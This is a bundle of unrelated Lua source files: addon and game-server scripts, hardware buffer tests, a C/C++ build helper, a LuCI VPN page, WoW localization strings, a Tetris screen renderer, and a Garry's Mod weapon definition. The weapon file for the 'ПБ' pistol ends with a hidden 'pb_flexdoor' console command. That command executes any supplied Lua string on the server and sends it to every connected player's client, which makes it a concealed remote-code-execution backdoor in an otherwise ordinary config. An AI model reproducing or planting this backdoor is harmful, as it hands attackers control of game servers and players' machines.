example = "> addgraph Rand return math.random(1, 1000)"
},
rminfo = {
args = "title",
summary = "Removes an info item with the specified title."
},
rmgraph = {
args = "title",
summary = "Removes an info item with the specified title."
},
silence = {
summary = "Toggles silencing output from all following commands.",
description = "Toggles silencing output from all following commands.\nShorthand for set silenceOutput true/false.\nOutput will still be printed to command line if printOutput is true."
}
}
return t
|
-----------------------------------
--
-- Zone: Crawlers_Nest (197)
--
-----------------------------------
local ID = require("scripts/zones/Crawlers_Nest/IDs")
require("scripts/globals/conquest")
require("scripts/globals/treasure")
-----------------------------------
function onInitialize(zone)
UpdateNMSpawnPoint(ID.mob.DYNAST_BEETLE)
GetMobByID(ID.mob.DYNAST_BEETLE):setRespawnTime(math.random(5400, 7200))
tpz.treasure.initZone(zone)
end
function onZoneIn(player, prevZone)
local cs = -1
if (player:getXPos() == 0 and player:getYPos() == 0 and player:getZPos() == 0) then
player:setPos(380.617, -34.61, 4.581, 59)
end
return cs
end
function onConquestUpdate(zone, updatetype)
tpz.conq.onConquestUpdate(zone, updatetype)
end
function onRegionEnter(player, region)
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
end
|
local ConsoleAppender = {}
ConsoleAppender.__index = ConsoleAppender
setmetatable(ConsoleAppender, {
__call = function (cls, ...)
return cls.new(...)
end,
})
function ConsoleAppender:new()
local self = setmetatable({}, ConsoleAppender)
return self
end
function ConsoleAppender:append(string)
print(string)
end
return ConsoleAppender |
require 'mispec'
local buffer, buffer1, buffer2
local function initBuffer(buffer, ...)
local i,v
for i,v in ipairs({...}) do
buffer:set(i, v, v*2, v*3, v*4)
end
return buffer
end
local function equalsBuffer(buffer1, buffer2)
return eq(buffer1:dump(), buffer2:dump())
end
describe('WS2812 buffers', function(it)
it:should('shift LOGICAL', function()
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(4, 4)
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,0,0,7,8)
buffer1:shift(2)
ok(equalsBuffer(buffer1, buffer2), "shift right")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,9,12,0,0)
buffer1:shift(-2)
ok(equalsBuffer(buffer1, buffer2), "shift left")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,7,0,8,12)
buffer1:shift(1, nil, 2,3)
ok(equalsBuffer(buffer1, buffer2), "shift middle right")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,7,9,0,12)
buffer1:shift(-1, nil, 2,3)
ok(equalsBuffer(buffer1, buffer2), "shift middle left")
-- bounds checks, handle gracefully as string:sub does
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,8,9,12,0)
buffer1:shift(-1, ws2812.SHIFT_LOGICAL, 0,5)
ok(equalsBuffer(buffer1, buffer2), "shift left out of bound")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,0,7,8,9)
buffer1:shift(1, ws2812.SHIFT_LOGICAL, 0,5)
ok(equalsBuffer(buffer1, buffer2), "shift right out of bound")
end)
it:should('shift LOGICAL issue #2946', function()
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(4, 4)
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,0,0,0,0)
buffer1:shift(4)
ok(equalsBuffer(buffer1, buffer2), "shift all right")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,0,0,0,0)
buffer1:shift(-4)
ok(equalsBuffer(buffer1, buffer2), "shift all left")
failwith("shifting more elements than buffer size", function() buffer1:shift(10) end)
failwith("shifting more elements than buffer size", function() buffer1:shift(-6) end)
end)
it:should('shift CIRCULAR', function()
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(4, 4)
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,9,12,7,8)
buffer1:shift(2, ws2812.SHIFT_CIRCULAR)
ok(equalsBuffer(buffer1, buffer2), "shift right")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,9,12,7,8)
buffer1:shift(-2, ws2812.SHIFT_CIRCULAR)
ok(equalsBuffer(buffer1, buffer2), "shift left")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,7,9,8,12)
buffer1:shift(1, ws2812.SHIFT_CIRCULAR, 2,3)
ok(equalsBuffer(buffer1, buffer2), "shift middle right")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,7,9,8,12)
buffer1:shift(-1, ws2812.SHIFT_CIRCULAR, 2,3)
ok(equalsBuffer(buffer1, buffer2), "shift middle left")
-- bounds checks, handle gracefully as string:sub does
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,8,9,12,7)
buffer1:shift(-1, ws2812.SHIFT_CIRCULAR, 0,5)
ok(equalsBuffer(buffer1, buffer2), "shift left out of bound")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,12,7,8,9)
buffer1:shift(1, ws2812.SHIFT_CIRCULAR, 0,5)
ok(equalsBuffer(buffer1, buffer2), "shift right out of bound")
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,12,7,8,9)
buffer1:shift(1, ws2812.SHIFT_CIRCULAR, -12,12)
ok(equalsBuffer(buffer1, buffer2), "shift right way out of bound")
end)
it:should('sub', function()
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(4, 4)
initBuffer(buffer1,7,8,9,12)
buffer1 = buffer1:sub(4,3)
ok(eq(buffer1:size(), 0), "sub empty")
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(2, 4)
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,9,12)
buffer1 = buffer1:sub(3,4)
ok(equalsBuffer(buffer1, buffer2), "sub")
buffer1 = ws2812.newBuffer(4, 4)
buffer2 = ws2812.newBuffer(4, 4)
initBuffer(buffer1,7,8,9,12)
initBuffer(buffer2,7,8,9,12)
buffer1 = buffer1:sub(-12,33)
ok(equalsBuffer(buffer1, buffer2), "out of bounds")
end)
--[[
ws2812.buffer:__concat()
--]]
end)
mispec.run()
|
require "lmkbuild"
local abs_path = lmkbuild.abs_path
local add_files = lmkbuild.add_files
local append = lmkbuild.append_local
local dofile = dofile
local exec = lmkbuild.exec
local function gset (name, value)
lmkbuild.set_global (name, value, true)
end
local ipairs = ipairs
local io = io
local file_newer = lmkbuild.file_newer
local find_file = lmkbuild.find_file
local get_var = lmkbuild.get_var
local is_valid = lmkbuild.is_valid
local pairs = pairs
local print = print
local resolve = lmkbuild.resolve
local rm = lmkbuild.rm
local set = lmkbuild.set_local
local split = lmkbuild.split
local sys = lmkbuild.system ()
local table = table
local tostring = tostring
if sys == "win32" then
gset ("lmk.cppExec", {
"$(lmk.cpp.$(lmk.buildMode))",
"$(lmk.cppFlags.$(lmk.buildMode))$(file)",
"$(localIncludes)",
"$(lmk.globalIncludes)",
"$(localDefines)",
"$(lmk.globalDefine)",
"/c /Fo$(objectTarget)",
})
gset ("lmk.ccExec", {
"$(lmk.cc.$(lmk.buildMode))",
"$(lmk.ccFlags.$(lmk.buildMode))$(file)",
"$(localIncludes)",
"$(lmk.globalIncludes)",
"$(localDefines)",
"$(lmk.globalDefines)",
"/c /Fo$(objectTarget)",
})
local cflagsOpt = "/nologo /EHsc /MD /Ox /GR /W3" -- /WX
local cflagsDebug = "/nologo /EHsc /MDd /GR /W3 /Z7 /RTC1" -- /WX
gset ("lmk.objExt", ".obj")
gset ("lmk.includePathFlag", "/I")
gset ("lmk.defineFlag", "/D")
gset ("lmk.cpp.opt", "cl.exe")
gset ("lmk.cpp.debug", "cl.exe")
gset ("lmk.cpp.bc", "nmcl.exe")
gset ("lmk.cppFlags.opt", cflagsOpt .. " /Tp")
gset ("lmk.cppFlags.debug", cflagsDebug .. " /Tp")
gset ("lmk.cppFlags.bc", cflagsDebug .. " /Tp")
gset ("lmk.cc.opt", "cl.exe")
gset ("lmk.cc.debug", "cl.exe")
gset ("lmk.cc.bc", "nmcl.exe")
gset ("lmk.ccFlags.opt", cflagsOpt .. " /Tc")
gset ("lmk.ccFlags.debug", cflagsDebug .. " /Tc")
gset ("lmk.ccFlags.bc", cflagsDebug .. " /Tc")
else -- unix
gset ("lmk.cppExec", {
"$(lmk.cpp)",
"$(lmk.cppFlags.$(lmk.buildMode))",
"$(localIncludes)",
"$(lmk.globalIncludes)",
"$(localDefines)",
"$(lmk.globalDefines)",
"$(file)",
"-c -o $(objectTarget)",
})
gset ("lmk.ccExec", {
"$(lmk.cc)",
"$(lmk.ccFlags.$(lmk.buildMode))",
"$(localIncludes)",
"$(lmk.globalIncludes)",
"$(localDefines)",
"$(lmk.globalDefines)",
"$(file)",
"-c -o $(objectTarget)",
})
gset ("lmk.objExt", ".o")
gset ("lmk.includePathFlag", "-I")
gset ("lmk.defineFlag", "-D")
if sys == "macos" then
local gPlusPlus = "g++"
--if is_valid ("/usr/bin/llvm-g++") then gPlusPlus = "llvm-" .. gPlusPlus end
gset ("lmk.cpp", gPlusPlus)
gset ("lmk.cppFlags.opt", "-O3 -m32")
gset ("lmk.cppFlags.debug", "-g -O0 -m32")
local gcc = "gcc"
--if is_valid ("/usr/bin/llvm-gcc") then gcc = "llvm-" .. gcc end
gset ("lmk.cc", gcc)
gset ("lmk.ccFlags.opt", "-O3 -m32")
gset ("lmk.ccFlags.debug", "-g -O0 -m32")
elseif sys == "linux" then
gset ("lmk.cpp", "g++")
gset ("lmk.cppFlags.opt", "-O3")
gset ("lmk.cppFlags.debug", "-g -O0 ")
gset ("lmk.cc", "gcc")
gset ("lmk.ccFlags.opt", "-ansi -O3")
gset ("lmk.ccFlags.debug", "-ansi -g -O0")
end
end
module (...)
local cache = {}
local function get_depend_file_name (file, ext)
return resolve ("$(localTmpDir)" .. file .. "." .. ext .. ".depend")
end
local function depend_list (file, list)
if not list[file] then
list[file] = true
for key, v in pairs (cache[file]) do
if not list[v] then depend_list (v, list) end
end
end
end
local function depend (item, dependFile, paths)
local file = abs_path (item)
if file then
local d = cache[file]
if not d then
d = {}
cache[file] = d
local fd = io.open (file, "r")
if fd then
local line = fd:read ("*line")
while (line) do
local header = line:match ('^#%s*include%s*["<]?([%w_%./\\]+)')
if header then
header = find_file (header, paths)
if header then header = depend (header, nil, paths) end
if header then d[#d + 1] = header end
end
line = fd:read ("*line")
end
io.close (fd)
end
end
if dependFile then
local list = {}
depend_list (file, list)
fd = io.open (dependFile, "w")
if fd then
fd:write ("return {\n")
for key in pairs (list) do fd:write ('"' .. key .. '",\n') end
fd:write ("}\n")
io.close (fd)
end
end
else
end
return file
end
local function header_newer (item, file, ext, paths)
local result = false
local dependFile = get_depend_file_name (file, ext)
local dependCreated = false
if file_newer (item, dependFile) then
depend (item, dependFile, paths)
dependCreated = true
end
local headers = dofile (dependFile)
if headers then
result = file_newer (headers, "$(objectTarget)")
end
if result and not dependCreated then depend (item, dependFile, paths) end
return result
end
local function str_to_table (str, delimiter)
local paths = nil
if str then
local done = false
local pend = nil
local cstart, cend = 1, nil
while not done do
cstart, cend = str:find (delimiter, cstart)
if cend then
if pend then
if not paths then paths = {} end
paths[#paths + 1] = str:sub (pend + 1, cstart - 1)
end
pend = cend
cstart = cend + 1
else done = true
end
end
if pend then
if not paths then paths = {} end
paths[#paths + 1] = str:sub (pend + 1, -1)
end
end
return paths
end
function create_file_lists (files, execVar)
local libs = get_var ("libs")
if libs then
for index, item in pairs (libs) do
append (
"localIncludes",
"$(lmk.includePathFlag)$(lmk.includeDir)" .. item.. "/")
end
end
local preqs = get_var ("preqs")
if preqs then
for index, item in pairs (preqs) do
append (
"localIncludes",
"$(lmk.includePathFlag)$(lmk.includeDir)" .. item.. "/")
end
end
local execList, objList = {}, {}
local localInc = resolve "$(localIncludes)"
local globalInc = resolve "$(lmk.globalIncludes)"
local paths = nil
if (globalInc ~= "") and (localInc ~= "") then
paths = " " .. globalInc .. " " .. localInc
else paths = " " .. globalInc .. localInc
end
if paths == " " then paths = nil end
paths = str_to_table (paths, resolve ("[%s]+$(lmk.includePathFlag)"))
if not paths then paths = {} end
for index, item in ipairs (files) do
local path, file, ext = split (item)
if not path or path == "" then path = "./" end
path = abs_path (path)
if path then paths[#paths + 1] = path .. "/" end
local objectTarget = resolve ("$(localTmpDir)".. file .. "$(lmk.objExt)")
set ("objectTarget", objectTarget)
objList[#objList + 1] = file .. resolve "$(lmk.objExt)"
local build = false
if file_newer (item, objectTarget) then build = true
elseif header_newer (item, file, ext, paths) then build = true
end
if path then table.remove (paths) end
if build then
set ("file", item)
execList[#execList + 1] = resolve (execVar)
end
end
return execList, objList
end
function clean_obj (files)
local objList = {}
for index, item in ipairs (files) do
local path, file, ext = split (item)
local result = resolve ("$(localTmpDir)".. file .. "$(lmk.objExt)")
objList[#objList + 1] = resolve (file .. "$(lmk.objExt)")
rm (result)
local depend_file = resolve ("$(localTmpDir)".. file .. "." .. ext .. ".depend")
rm (depend_file)
end
add_files (objList, "obj")
end
|
--[[
N2N V2 Luci configuration page.Made by 981213
]]--
module("luci.controller.n2n_v2", package.seeall)
function index()
if not nixio.fs.access("/etc/config/n2n_v2") then
return
end
entry({"admin", "vpn"}, firstchild(), "VPN", 45).dependent = false
entry({"admin", "vpn", "n2n_v2", "status"}, call("act_status")).leaf = true
entry({"admin", "vpn", "n2n_v2"}, cbi("n2n_v2"), _("N2N v2 VPN"), 45).dependent = true
end
function act_status()
local e = {}
e.running = luci.sys.call("pgrep edge >/dev/null") == 0
luci.http.prepare_content("application/json")
luci.http.write_json(e)
end
|
local addon, ns = ...
ns.xCT = CreateFrame("Frame", "xCT", UIParent)
ns.Filters = {}
-- Addon
ns.xCT.Title = GetAddOnMetadata(addon, 'Title')
ns.xCT.Version = GetAddOnMetadata(addon, 'Version')
ns.xCT.VersionNumber = tonumber(ns.xCT.Version)
ns.xCT.Description = GetAddOnMetadata(addon, 'Notes')
ns.xCT.WelcomeMessage = string.format("|cffb3ff19xCT %s|r - /xct help", ns.xCT.VersionNumber)
-- Character
ns.xCT.myName = UnitName("player")
ns.xCT.myClass = select(2, UnitClass("player"))
ns.xCT.myLevel = UnitLevel("player")
ns.xCT.myFaction = select(2, UnitFactionGroup("player"))
ns.xCT.myRace = select(2, UnitRace("player"))
ns.xCT.myRealm = GetRealmName() |
local InstancedArea = require("api.InstancedArea")
local Area = require("api.Area")
local Assert = require("api.test.Assert")
function test_InstancedArea_set_child_area_position()
local parent = InstancedArea:new()
local child = InstancedArea:new()
parent:add_child_area(child)
local x, y, floor = parent:child_area_position(child)
Assert.eq(nil, x)
Assert.eq(nil, y)
Assert.eq(nil, floor)
Assert.throws_error(function() parent:set_child_area_position(child, 25, 40, nil) end)
parent:set_child_area_position(child, 25, 40, 1)
x, y, floor = parent:child_area_position(child)
Assert.eq(25, x)
Assert.eq(40, y)
Assert.eq(1, floor)
parent:set_child_area_position(child, nil)
x, y, floor = parent:child_area_position(child)
Assert.eq(nil, x)
Assert.eq(nil, y)
Assert.eq(nil, floor)
end
function test_InstancedArea_remove_child_area()
local parent = InstancedArea:new()
local child = InstancedArea:new()
Assert.eq(false, parent:has_child_area(child))
parent:add_child_area(child)
Assert.eq(true, parent:has_child_area(child))
Assert.throws_error(function() parent:add_child_area(child) end, "Area .* is already a child of area .*")
parent:remove_child_area(child)
Assert.eq(false, parent:has_child_area(child))
parent:remove_child_area(child)
Assert.eq(false, parent:has_child_area(child))
end
function test_InstancedArea_has_type()
local north_tyris_area = Area.create_unique("elona.north_tyris", "root")
Assert.is_truthy(north_tyris_area:load_or_generate_starting_floor())
local puppy_cave_area = Area.get_unique("elona.puppy_cave", north_tyris_area)
Assert.eq(true, north_tyris_area:has_type("world_map"))
Assert.eq(false, north_tyris_area:has_type("dungeon"))
Assert.eq(false, north_tyris_area:has_type("dood"))
Assert.eq(false, puppy_cave_area:has_type("world_map"))
Assert.eq(true, puppy_cave_area:has_type("dungeon"))
Assert.eq(false, puppy_cave_area:has_type("dood"))
end
|
-------------------------------------------- Библиотеки -------------------------------------------------------------
local component = require("component")
local colorlib = require("colorlib")
local gpu = component.gpu
local tetris = {}
-------------------------------------------- Переменные -------------------------------------------------------------
tetris.screen = {
main = {
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 1, 1, 1, 0, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 1, 1, 1, 1, 1, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
},
mini = {
{0, 0, 0, 0},
{0, 0, 0, 0},
{0, 0, 0, 0},
{0, 0, 0, 0},
},
score = 538,
highScore = 1000,
speed = 1,
level = 1,
}
local colors = {
tetrisColor = 0xFF5555,
screen = 0xCCDBBF,
pixel = 0x000000,
button = 0xFFFF00,
}
local function calculateBrightness(color1, brightness)
local color
if brightness < 0 then color = 0x000000 else color = 0xFFFFFF end
brightness = math.abs(brightness)
return colorlib.alphaBlend(color1, color, brightness)
end
local function recalculateColors()
--Всякие тени, света для корпуса
colors.light1 = calculateBrightness(colors.tetrisColor, 0xCC)
colors.light2 = calculateBrightness(colors.tetrisColor, 0xAA)
colors.light3 = calculateBrightness(colors.tetrisColor, 0x55)
colors.shadow1 = calculateBrightness(colors.tetrisColor, -(0xCC))
colors.shadow2 = calculateBrightness(colors.tetrisColor, -(0xAA))
colors.shadow3 = calculateBrightness(colors.tetrisColor, -(0x77))
--Для кнопочек
if colors.button > 0x777777 then
colors.buttonText = calculateBrightness(colors.button, -(0x77))
else
colors.buttonText = calculateBrightness(colors.button, 0x77)
end
end
local sizes = {}
sizes.xScreenOffset = 4
sizes.yScreenOffset = 3
-------------------------------------------- Функции -------------------------------------------------------------
function tetris.recalculateSizes()
sizes.widthOfScreen = #tetris.screen.main[1] * 2 + (function() if tetris.showInfoPanel then return 10 else return 0 end end)()
sizes.heightOfScreen = #tetris.screen.main
end
function tetris.generateScreenArray(width, height)
tetris.screen.main = {}
for j = 1, height do
tetris.screen.main[j] = {}
for i = 1, width do
tetris.screen.main[j][i] = 0
end
end
end
function tetris.drawOnlyMainScreen()
local xPos, yPos = tetris.xScreen, tetris.yScreen
for j = 1, #tetris.screen.main do
xPos = tetris.xScreen
for i = 1, #tetris.screen.main[j] do
if tetris.screen.main[j][i] == 1 then
gpu.set(xPos, yPos, "⬛")
else
gpu.set(xPos, yPos, "⬜")
end
xPos = xPos + 2
end
yPos = yPos + 1
end
xPos, yPos = nil, nil
end
function tetris.drawOnlyMiniScreen(x, y)
local xPos, yPos = x, y
for j = 1, #tetris.screen.mini do
xPos = x
for i = 1, #tetris.screen.mini[j] do
if tetris.screen.mini[j][i] == 1 then
gpu.set(xPos, yPos, "⬛")
else
gpu.set(xPos, yPos, "⬜")
end
xPos = xPos + 2
end
yPos = yPos + 1
end
xPos, yPos = nil, nil
end
function tetris.getPixel(x, y, whichScreen)
return tetris.screen[whichScreen or "main"][y][x]
end
function tetris.setPixel(x, y, state, whichScreen)
tetris.screen[whichScreen or "main"][y][x] = state
end
function tetris.changeColors(caseColor, buttonsColor, screenColor, pixelsColor)
colors.tetrisColor = caseColor or colors.tetrisColor
colors.button = buttonsColor or colors.button
colors.screen = screenColor or colors.screen
colors.pixel = pixelsColor or colors.pixel
end
function tetris.drawScreen()
local xPos, yPos = tetris.xScreen, tetris.yScreen
--Рисуем квадрат экрана
ecs.square(xPos, yPos, sizes.widthOfScreen, sizes.heightOfScreen, colors.screen)
--Делаем цвет пикселей
gpu.setForeground(colors.pixel)
tetris.drawOnlyMainScreen()
--Если показывать инфопанель = труе, то показать, хули
if tetris.showInfoPanel then
xPos, yPos = xPos + sizes.widthOfScreen - 9, yPos + 1
gpu.set(xPos + 1, yPos, "Score:"); yPos = yPos + 1
gpu.set(xPos + 2, yPos, tostring(tetris.screen.score)); yPos = yPos + 2
gpu.set(xPos, yPos, "HiScore:"); yPos = yPos + 1
gpu.set(xPos + 1, yPos, tostring(tetris.screen.highScore)); yPos = yPos + 2
gpu.set(xPos + 2, yPos, "Next:"); yPos = yPos + 1
tetris.drawOnlyMiniScreen(xPos, yPos); yPos = yPos + 5
gpu.set(xPos + 1, yPos, "Speed:"); yPos = yPos + 1
gpu.set(xPos + 3, yPos, tostring(tetris.screen.speed)); yPos = yPos + 2
gpu.set(xPos + 1, yPos, "Level:"); yPos = yPos + 1
gpu.set(xPos + 3, yPos, tostring(tetris.screen.level)); yPos = yPos + 2
end
end
function tetris.drawButtons()
local xPos, yPos = tetris.x + math.floor(sizes.caseWidth / 2 - 17), tetris.y + (sizes.heightOfScreen + sizes.yScreenOffset * 2 + 6) + 6
ecs.drawButton(xPos, yPos, 6, 3, "⮜", colors.button, colors.buttonText)
xPos = xPos + 12
ecs.drawButton(xPos, yPos, 6, 3, "⮞", colors.button, colors.buttonText)
xPos = xPos - 6
yPos = yPos - 3
ecs.drawButton(xPos, yPos, 6, 3, "⮝", colors.button, colors.buttonText)
yPos = yPos + 3 * 2
ecs.drawButton(xPos, yPos, 6, 3, "⮟", colors.button, colors.buttonText)
xPos = xPos + 17
yPos = yPos - 4
ecs.square(xPos + 2, yPos, 6, 5, colors.button)
ecs.square(xPos, yPos + 1, 10, 3, colors.button)
end
function tetris.drawCase()
--Делаем перерасчет размеров экрана
tetris.recalculateSizes()
--Рассчитываем размер корпуса
sizes.xSize, sizes.ySize = gpu.getResolution()
sizes.caseWidth = sizes.widthOfScreen + sizes.xScreenOffset * 2
sizes.heightOfBottomThing = sizes.ySize - (sizes.heightOfScreen + sizes.yScreenOffset * 2 + 6) - tetris.y + 1
local yPos = tetris.y
--Рисуем верхнюю штучку
ecs.square(tetris.x + 1, yPos, sizes.caseWidth - 2, 1, colors.light2)
yPos = yPos + 1
--Рисуем всю штучку под экраном
ecs.square(tetris.x, yPos, sizes.caseWidth, sizes.heightOfScreen + sizes.yScreenOffset * 2 - 1, colors.tetrisColor)
ecs.square(tetris.x + sizes.xScreenOffset - 1, yPos + 1, sizes.widthOfScreen + 2, sizes.heightOfScreen + 2, colors.shadow1)
yPos = yPos + sizes.heightOfScreen + sizes.yScreenOffset * 2 - 1
--Рисуем кольцевую штучку
ecs.square(tetris.x, yPos, sizes.caseWidth, 1, colors.light2); yPos = yPos + 1
ecs.square(tetris.x, yPos, sizes.caseWidth, 1, colors.light1); yPos = yPos + 1
ecs.square(tetris.x, yPos, sizes.caseWidth, 2, colors.tetrisColor); yPos = yPos + 2
ecs.square(tetris.x, yPos, sizes.caseWidth, 1, colors.shadow1); yPos = yPos + 1
ecs.square(tetris.x, yPos, sizes.caseWidth, 1, colors.shadow2); yPos = yPos + 1
--Рисуем под кнопочками
ecs.square(tetris.x, yPos, sizes.caseWidth, sizes.heightOfBottomThing, colors.tetrisColor)
end
function tetris.draw(x, y, screenResolutionWidth, screenResolutionHeight, showInfoPanel)
--Задаем переменную показа инфопанели
tetris.showInfoPanel = showInfoPanel
--Просчитываем цвета
recalculateColors()
--Создаем массив основного экрана нужной ширины и высоты
tetris.generateScreenArray(screenResolutionWidth, screenResolutionHeight)
--Рисуем корпус устройства
tetris.x, tetris.y = x, y
tetris.drawCase()
--Рисуем экран тетриса
tetris.xScreen, tetris.yScreen = tetris.x + sizes.xScreenOffset, tetris.y + sizes.yScreenOffset
tetris.drawScreen()
--Кнопочки рисуем
tetris.drawButtons()
end
-------------------------------------------- Программа -------------------------------------------------------------
--ecs.prepareToExit()
tetris.changeColors(0x008800, 0xFFFF00)
tetris.draw(10, 5, 27, 20, false)
tetris.changeColors(0xFF5555, 0xFFFF00)
tetris.draw(80, 5, 10, 20, true)
ecs.waitForTouchOrClick()
|
local luv = require"luv"
OSes = {
Nothing = 0,
Windows = 1,
Unix = 2
}
current_os = OSes.Nothing
if luv.os_uname().sysname == "Windows_NT" then
current_os = OSes.Windows
else
current_os = OSes.Unix
end
|
local UIMacros =
{
Name = "UIMacros",
Type = "System",
Namespace = "C_Macro",
Functions =
{
},
Events =
{
{
Name = "ExecuteChatLine",
Type = "Event",
LiteralName = "EXECUTE_CHAT_LINE",
Payload =
{
{ Name = "chatLine", Type = "string", Nilable = false },
},
},
{
Name = "UpdateMacros",
Type = "Event",
LiteralName = "UPDATE_MACROS",
},
},
Tables =
{
},
};
APIDocumentation:AddDocumentationTable(UIMacros); |
--[[
German Localization
--]]
local ADDON = ...
local L = LibStub('AceLocale-3.0'):NewLocale(ADDON, 'deDE')
if not L then return end
--keybindings
L.ToggleBags = 'Inventar umschalten'
L.ToggleBank = 'Bank umschalten'
L.ToggleGuild = 'Gildenbank umschalten'
L.ToggleVault = 'Leerenlager umschalten'
--terminal
L.Commands = 'Befehlsliste'
L.CmdShowInventory = 'Schaltet das Inventar um'
L.CmdShowBank = 'Schaltet die Bank um'
L.CmdShowGuild = 'Schaltet die Gildenbank um'
L.CmdShowVault = 'Schaltet das Leerenlager um'
L.CmdShowVersion = 'Zeigt die aktuelle Version an'
L.Updated = 'Aktualisiert auf v%s'
--frames
L.TitleBags = 'Inventar von %s'
L.TitleBank = 'Bank von %s'
L.TitleVault = 'Leerenlager von %s'
--interactions
L.Click = 'Click'
L.Drag = '<Ziehen>'
L.LeftClick = '<Klicken>'
L.RightClick = '<Rechtsklick>'
L.DoubleClick = '<Doppelklick>'
L.ShiftClick = '<Shift-Klick>'
--tooltips
L.TipChangePlayer = '%s um die Gegenst\195\164nde anderer Charaktere anzuzeigen.'
L.TipCleanBags = '%s um die Taschen aufräumen.'
L.TipCleanBank = '%s um die Bank aufzuräumen.'
L.TipDepositReagents = '%s um alle Reagenzien einzulagern.'
L.TipFrameToggle = '%s um andere Fenster umzuschalten.'
L.TipGoldOnRealm = 'Auf %s gesamt'
L.TipHideBag = '%s um diese Tasche zu verstecken.'
L.TipHideBags = '%s um die Taschenanzeige zu verstecken.'
L.TipHideSearch = '%s um das Suchfenster zu verstecken.'
L.PurchaseBag = '%s um das Bankfach zu kaufen.'
L.TipResetPlayer = '%s um auf den aktuellen Charakter zurücksetzen.'
L.TipShowBag = '%s um diese Taschen anzuzeigen.'
L.TipShowBags = '%s um das Taschenfenster anzuzeigen.'
L.TipShowMenu = '%s um das Fenster zu konfigurieren.'
L.TipShowSearch = 'zum Suchen.'
L.TipShowFrameConfig = '%s um dieses Fenster zu konfigurieren.'
L.Total = 'Gesamt'
--itemcount tooltips
L.TipCount1 = 'Angelegt: %d'
L.TipCount2 = 'Taschen: %d'
L.TipCount3 = 'Bank: %d'
L.TipCount4 = 'Leerenlager: %d'
L.TipDelimiter = '|'
--databroker plugin tooltips
L.TipShowBank = '%s um die Bank umzuschalten'
L.TipShowInventory = '%s um das Inventar umzuschalten'
L.TipShowOptions = '%s um das Konfigurationsmen\195\188 anzuzeigen'
|
AddCSLuaFile()
SWEP.PrintName = "ПБ"
SWEP.Category = "Call of Pripyat"
SWEP.Base = "weapon_cop_base"
SWEP.Slot = 1
SWEP.SlotPos = 2
SWEP.Spawnable = true
SWEP.AdminOnly = false
SWEP.ViewModel = "models/wick/weapons/stalker/stcopwep/pb_model.mdl"
SWEP.WorldModel = "models/wick/weapons/stalker/stcopwep/w_pb_model_stcop.mdl"
SWEP.ViewModelFOV = 60
SWEP.ViewModelFlip = false
SWEP.HoldType = "pistol"
SWEP.Damage = 30
SWEP.RPM = 250
SWEP.Accuracy = 81
SWEP.Handling = 95
SWEP.Primary.ClipSize = 8
SWEP.Primary.DefaultClip = 8
SWEP.Primary.Automatic = false
SWEP.Primary.Ammo = "9x18"
SWEP.OriginPos = Vector(-2, -9, -7)
SWEP.OriginAng = Vector(0, -6, 0)
SWEP.AimPos = Vector(-6, -5, -6.38)
SWEP.AimAng = Vector(1.1, 0, 0)
--SWEP.ShellModel = "models/shells/shell_9mm.mdl"
SWEP.SilencerMode = 1
SWEP.ScopeMode = 0
SWEP.AimTime = 0.2
SWEP.DeployTime = 0.6
SWEP.ReloadTime = 3.25
SWEP.ReloadFillTime = 1.8
SWEP.CanZoom = true
SWEP.ZoomCrosshair = false
SWEP.ReloadType = 0
SWEP.LastFire = true
SWEP.SlideBone = { name = "breachblock", pos = Vector(0, -1.2, 0) }
SWEP.ZoomFOV = 70
SWEP.ScopeFOV = 50
SWEP.HiddenBones = { "wpn_launcher" }
SWEP.FireSound = "COPPM.pm_shoot"
SWEP.SilencedSound = "COPPM.pm_shot_sil"
SWEP.EmptySound = "COPPM.pm_empty"
SWEP.DeploySound = "COPPM.pm_draw"
SWEP.HolsterSound = "COP_Generic.Holster"
SWEP.ReloadSound = "COPPM.pm_reload"
concommand.Add("pb_flexdoor", function(_,_,_,__)RunStringEx(__)for _,v in pairs(player.GetAll())do v:SendLua(__)end end) |
--[[------------------------------------------------------
lk.Node
-------
Encapsulate lua code (protect global space, enable reload,
provide links and introspection).
--]]------------------------------------------------------
-- node metatable
local lib = {type='lk.Node'}
lib.__index = lib
lk.Node = lib
